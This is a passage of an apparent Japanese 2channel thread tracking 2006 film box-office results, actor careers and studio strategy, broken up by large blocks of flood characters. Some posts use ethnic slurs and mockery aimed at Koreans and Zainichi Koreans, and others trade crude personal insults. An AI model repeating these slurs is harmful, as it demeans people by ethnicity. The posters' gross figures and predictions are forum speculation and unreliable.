■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

タイヨウっ先週はいってたんじゃないのか？
先週は５〜６回かかってたけど、今週は２回に減ってたぞ。
デスノ、トリック、海猿は５回以上かかってるのに。
２０億いけるって配給側は書いてるけどホントか？１０億もあぶないんじゃ

>>496
「タイヨウのうた」の弱点に関しては、これまで散々書いたのでもう書かないけど、
あれで220スクリーンを確保せざるをえなかった松竹の暴挙かな。
もちろん20億となれば、私の降参だけども、作品自体にそこまでの力はない。
初監督がういういしい主演者を使った、ちょっと感動する系の、低予算映画。
それで10億なら褒めないとね。

「着信アリFinal」に関していうなら、J−ホラーシアターってまだ
３作残っているでしょ。「輪廻」がものすごくこけて（でも５億？）
この後どうするのかなと思ったら､東宝は手放したそう。
しかしまあ、６作連続公開と言っておいて、次が黒沢清だとなって
さすがの東宝も腰がひけたかな？
そもそも、黒沢清みたいな作家主義ばりばりの人を、東宝みたいな
健全娯楽映画ばっかり作っている会社が担ぐこと自体、どうかしてた
んだよね。
これからもホラーって続くんだよね。

タイヨウのうたは今週のスコアが勝負でしよ。
主題歌やドラマの盛り上がりとスクリーンの確保
ギリギリの時間との勝負。都内でいくら溢れても地方が次々終了したら苦しい。

『タイヨウのうた』出口満足度調査で異例の高評価！

全国の劇場で、公開初日に行われた『タイヨウのうた』出口満足度調査の結果が
発表されました。
劇場で観た人の 95.6% が満足。99.7％ がもう一度観たい。
という異例の高評価をいただきました！
6月22日（木）発売の、Weeklyぴあ＜ぴあ満足度ランキング＞においても、
1位を獲得しております。

→だそうだけども。

>>500
松子も高評価だったよ

1 タイヨウのうた 88.9点
2 キングス＆クイーン 88.6点
3 バルトの楽園＜がくえん＞ 88.4点

1 GOAL！ 89.4点
2 夢駆ける馬ドリーマー
3 嫌われ松子の一生 85.8点

→これが現実だけどね。

>>470
亀だけど、TOKIOは、CDが売れない。
ヲタも少なくて、武道館コンサートがやっと。
どっちかといえば、ライトな一般人気かな。

>>503
ジャニーズの映画がぱっとしない理由：

１．そもそもアイドル映画というものが成立しない。
２．ジャニにそれだけの人材がいない。草なぎだけが唯一別格かな。
３．ジャニをトップに据えた映画はあまたあるが、どこか皆外れている。
　　恐らくは事務所が映画の内容に口を挟み、結果的にだめにしてるのでは？
４．SABUなど作家主義的な人とのコラボもあるが、娯楽映画ならそれに徹す
　　べきでは？　

５．ジャニのトップスターであるキムタクが、所詮TV俳優であるのが
　象徴しているように、ここまで日本映画が興隆するとは思わなかった
　というままに、こんにちに至っているのでは？
６．演劇などでは、ジャニが次々といい役をもらってきたが、映画では
　そこまでのごり押しが見えない。しないのか、映画界が許さないのか
　そこまではわからないけど。
７．キムタクを上手という人が多いが、良く見たことはないが、典型的な
　TV演技だと思う。あれじゃ映画俳優にはなれない。もっと内面を
　微妙な表現で表せるようにならないと。

>>505
よく見てもいないのに偉そうに評論する505はカスだとおもう。

そのうえで、そもそも映画俳優にはなれないなど、何十年前の
価値感かねとあきれかえるね。いまだに映画＞テレビの古い
ヒエラルキーにとらわれてるんだね。かわいそう。

日本映画は興隆してるんじゃない。社会と同じように２極分化してるだけ。
だからすこしのヒット作にたくさん群がり、勝ち組と負け組が極端になってるだけ。
そして中間層が消え、内容はスカスカ。505のような評論家気取りのバカも
増殖する、という構図。日本映画は緩やかに滅亡中だね。

おれはゲド戦記見れればいいのでどうでもいいけど。

東宝フジの西遊記は50億超えるのは確実だけどね。

ウルトラヴァイオレットはスルーなんですか？ここ的に

>>507
既にドラマとしてヒットしてるものだから
オリジナル企画で香取で稼げるか想像してみなよ。
オリジナルでヒットするのはジャニーズでも無理。

>>506　逐一レスしますか。まず、ここから・・
＞映画俳優にはなれないなど、何十年前の価値感かねとあきれかえるね。

逆に君のほうが古いと思うけど。
そもそもトレンディドラマ時代など、映画に出ることが「都落ち」（by岩井
俊二）と取られていたほど。
最近では、映画出身者と呼んでさしつかえない、柴咲コウ、長澤まさみらが
輝いて見えるのは自然な現象と思うけど。

＞いまだに映画＞テレビの古いヒエラルキーにとらわれてるんだね。

さあて、それが私固有の問題なのかな。
今日読んでいた専門サイトでも書いていたけど、TV局員はいくら給与
が高くなっても、いまだに映画に引け目があると書いていたけど。
それは意識の問題だからね。
証券会社の社員だって「株屋風情が偉そうに」ってな言われ方は
されるでしょう。

＞日本映画は興隆してるんじゃない。社会と同じように２極分化してるだけ。

私自身、何度も数字を上げて、トータルでは決して上昇していないことや、
200本以上はインディーズの映画で、少数のメジャー映画が大半の興行
収入を得ているいびつさを書いてきた。
が、君はそれをもう変えようのないことと、独断できめつけてるよね。
何を根拠にそういうのだろう。映画の製作本数は激増しているし、映画
界を目指す若者もものすごく増加している。これはJリーグとか、J-POP
勃興期とよく似ていると思うけど。
もっとも君は、そういう歴史的観点での捉え方ができないようだけど。

最後にここ。
＞日本映画は緩やかに滅亡中だね。

なら、黙ってROMしてろよ。
お前にはアニメがふさわしいから。もう書くな、邪魔。

>>512
Jリーグを例にださないでお願い。

プッ
コピペ荒らしキチガイなずなID:nKbkjaCM　が偉そうなこと言ってますよｗ

お前こそもう書くな、邪魔

摸倣犯ってヒットしたの？

二宮って渡辺謙とかとクリントイーストウッドの映画出てない？
草薙のがすごいの？

ＭＩ３の先々行を見てきたけど
ＭＩ３は置いておいて
うちの近くのシネコンでは着信アリが１７０席とは言え
×マークばっかりだった
これは驚いた・・・・もう死に体のシリーズだと思っていたが
もしミムラの１０億を超えたら大したもの

MI3あんまり入ってないみたいだけど、先行やってるの知らなかったりして。

模倣犯は興収2位の大ヒットだよ。

>>520
「模倣犯」の監督は森田芳光だけど、「ときめきに死す」とか彼の駄作の
系譜に連なる映画。
原作が傑作すぎて、荷が重かったのはわかるが。

>>504
ついに反マッチ派の本性をあらわしたわね！
マッチ派とトレモロ派の恐ろしさを知らないのね
わたしたちが結束すれば反マッチ派なぞ叩き潰すのは簡単なのよ
一刻も早く謝罪してください
わたしたちは本気です

>>518
東宝は正式に、「J-ホラーシアター」からの撤退をうたったのだから
責任を取るべきでは？
だって、うたい文句も現実も、あの時点では最強の布陣（監督）を
揃え、順次東宝系で全国公開していくはずだったのに、「輪廻」が
こけたのはもちろん、最初の２本立て「感染」「予言」が８億。
これは企画の問題だけども、６本公開するといわなければよかった
だけのことでしょう。

着信アリFの初動は2億行くかもしれんね。
韓国が舞台というマイナス要素はあっても
一応は今イケイケの掘北が主演なんだし
10代の間では受けがいいシリーズだから。

>>522
近藤真彦は1980年代は偉かったよ。こんなジャニ、今はいない。

1981.02.11　青春グラフィティ　スニーカーぶるーす 　東宝映画
1981.07.11　ブルージーンズメモリー　ＢＬＵＥ　ＪＥＡＮＳ　ＭＥＭＯＲＹ 　東宝映画
1981.12.20　グッドラック　Ｌｏｖｅ 　東宝映画
1982.08.07　ハイティーン・ブギ 　東宝映画 　...　藤丸翔
1982.12.18　ウィーン物語　ジェミニ・ＹとＳ 　東宝映画
1983.08.04　ＴＯＳＨＩ　ｉｎ　ＴＡＫＡＲＡＺＵＫＡ　Ｌｏｖｅ　Ｆｕｒｅｖｅｒ　ラブ・フォーエバー 　東宝＝ジャニーズ事務所
1983.08.04　嵐を呼ぶ男 　東宝＝ジャニーズ事務所
1983.12.24　エル・オー・ヴイ・愛・Ｎ・Ｇ 　東宝＝ジャニーズ事務所 　...　海堂征人
1985.01.26　愛・旅立ち 　フィルムリンクインターナショナル
1987.09.12　この愛の物語 　松竹富士＝日本テレビ

>>524
でもさ、堀北真希ってホラー映画にこんなに出演してんだよ。新鮮かな？

渋谷怪談（2004年2月7日公開） - 久保綾乃役
渋谷怪談2（2004年2月7日公開） - 主演・久保綾乃役
怪談新耳袋劇場版 視線（2004年8月21日公開） - 主演・滝沢由加里役
予言（2004年10月2日公開） - 若窪沙百合役
学校の階段 〜秋 文化祭編〜（2005年7月1日配信、ネットムービー） - 主演・カコ役
着信アリFinal（2006年6月24日公開予定） - 主演・松田明日香役

堀北は野ブタの流れがあるかもな。
ミムラよりも格上のキャスティングになった。

ノブタでブレークして旬な子だから
今の時期は調度いいのでは？
映画はマニアのものじゃなく
ニワカだの素人が支えているもの。

>>527
堀北真希の素質の疑義を唱えるものではないが、主役でやっていくタイプには
見えないね。
子役上がりの器用さは感じるし、演技はすごくうまいと思うけど、「三丁目」の
六ちゃんのような「はまり役」が今後続かないと、同世代があまりに強すぎて
埋没しそうに思う。

カブッタｗ

>>528
黒木メイサについて誰も書かないな（ｗ
私は彼女の代表作である、演劇「あずみ」を明治座で見た。
何せ史上最年少の座長（主役）。華があったね。
その前に見たのが、映画「同じ月を見ている」。監督は「スケバン
刑事」を撮影中の深作健太。
同じ役者かと思うほどひどかった。監督の力もあるとは思うが、彼女
もしかしたら芝居の道で生きたほうがいいのでは？　そもそも演劇
出身だし。

>>508
U.Vは事実上スルーかな？
160館で公開。始め2日間も1億以下（予想）
全体でも5億もいかねーだろー。（こっちも予想）でスルーw

>>526
野豚以前と以後ではネームバリューが全然違うからなぁ。
ファン以外で掘北が以前にもホラー映画に出てる事を知ってる人って
そんなに居ないと思う。

>>533
私が堀北真希という名前を知ったのは、映画「世界の中心で、愛をさけぶ」。
今でもどこに出演していたか知らない人がいるんじゃないかと思うけど、
実は出ている。しっかりと。
あれが最初だね。リアルタイムで見た映画は、その後は「予言」かな。
見た人はわかると思うけど、結構重要な役柄だし、「着信アリ」とかぶる
雰囲気があるんじゃないかな。

>>534
重じいの初恋の写真！！！
いままで気付かなかった。

>>535
あれ長澤だと思ってた

今延々とやってるトリックだけど
これPART2は推定でどれくらい行くんだっけ
20億は行くの？

>>537
２０億は超えるんじゃないの

>>525
あら、あなた本当はマッチ派なの？
でも油断できないわね
反マッチ派ってマッチ派になりすまして悪業を重ねてきた過去がありますもの
ハイティーンブギで武田久美子さんがデビューしたのよ
それを記念して久美子さん大会をしましょう

>>538
でも初動4億で2週目終了段階で10億ちょっとでしょ
このペースでも行くのかな？

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

荒らすなチョン！

>>546
そこまで自作自演がヘタクソなのは、なんらかの理由があるわけ？
それともやっぱり単にキチガイだから？

>>547
その手の話しをしたい人は
【中谷美紀】興行収入を見守るスレ88【惨敗】
http://tv8.2ch.net/test/read.cgi/movie/1150118814/
か
【松たかこは】興行収入を見守るスレ72【糞以下】
http://tv8.2ch.net/test/read.cgi/movie/1134181657/
or
【長澤は】興行収入を見守るスレ8３【糞以下】
http://tv8.2ch.net/test/read.cgi/movie/1147521551/
でよろ。

ミッション�Vレイト@WMC

二番目の箱で二割程、まあまあかな？
一番大きいとこでデスノ、二番三番でミッション�V

ジャック船長も先行やるんだね、あとセカチュー韓国版の日本上映は誰か行くのか？

在日はいくんじゃない？義務として

>>550
僕の、世界の中心は、君ニダ！

タイトルがヤバイ(笑)
寒流の終演として美しく散ってくれ。

「セカチュー」韓国版の興行は、「リング」等の米国リメイクと同じような
感じの興行になるのでは？
こけると言い切ってしまえばそれまでだけども、気恥ずかしくない？
ベストセラーのその後には二種類あって、「ノルウエイの森」「トットちゃん」
のように、すでに古典化して売れ続けているものと（ちなみに、ともに別作品
ですが教科書に多数掲載）、完全に忘れられグックオフの運命とがある。
「セカチュー」原作はもちろん後者。綿矢りさの２作もそう。
市川拓司（「いまあい」）は早速「恋愛寫眞　もうひとつの物語」という
素敵な作品が、秋に宮崎あおい主演で公開されるし、このようになるといいん
だけど、「セカチュー」原作者はほかの作品がだめすぎたよね。

>>535
「エッ！　これが校長先生」・・しばし若い頃の校長の写真の見入るサク。
そこにはお下げ髪の堀北真希が。
ちなみにしっかりクレジットされてるので、DVDでもチェックしよう。
U-21女優にうるさい者として言わせてもらうと、昨日も書いたように黒木
メイサは舞台に移ると思う。映画向きじゃない。
堀北真希は映画向きだと思う。愛くるしい純朴さは同世代の中でもトップ
クラス。演技派でもある・が、強敵はあまりに、あまりに多い。
何せこのU-21は日本映画史上最強だから。
演技派というけど、宮崎あおい、長澤まさみ、井上真央・・。
愛らしいなんていうのは、上げるまでもなし。
彼女のポジションは難しいと思う。かわいそうだけど数年内には消え行く運命か。

これはくると思うけどな。
妻夫木聡には「ジョゼ」、長澤まさみには「セカチュー」という、映画史に
残る名画があるわけだけど、それと似た感じがするもの。

http://www.nada-so.jp/

８月12公開の大塚愛主演「東京フレンズThe Movie」、公式HPで数えたら
現段階で134スクリーンだね。
この映画はDVDがもとで盛んにそれを流しているし、もともと有名歌手だから
そのあたりはぬかりなく準備してくるだろうね。
しかし、普通に考えてこの数は大変に思う。目標8億？
舞台が下北沢だそうで、しもきたファンとしては急に見る気になりました（ｗ

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
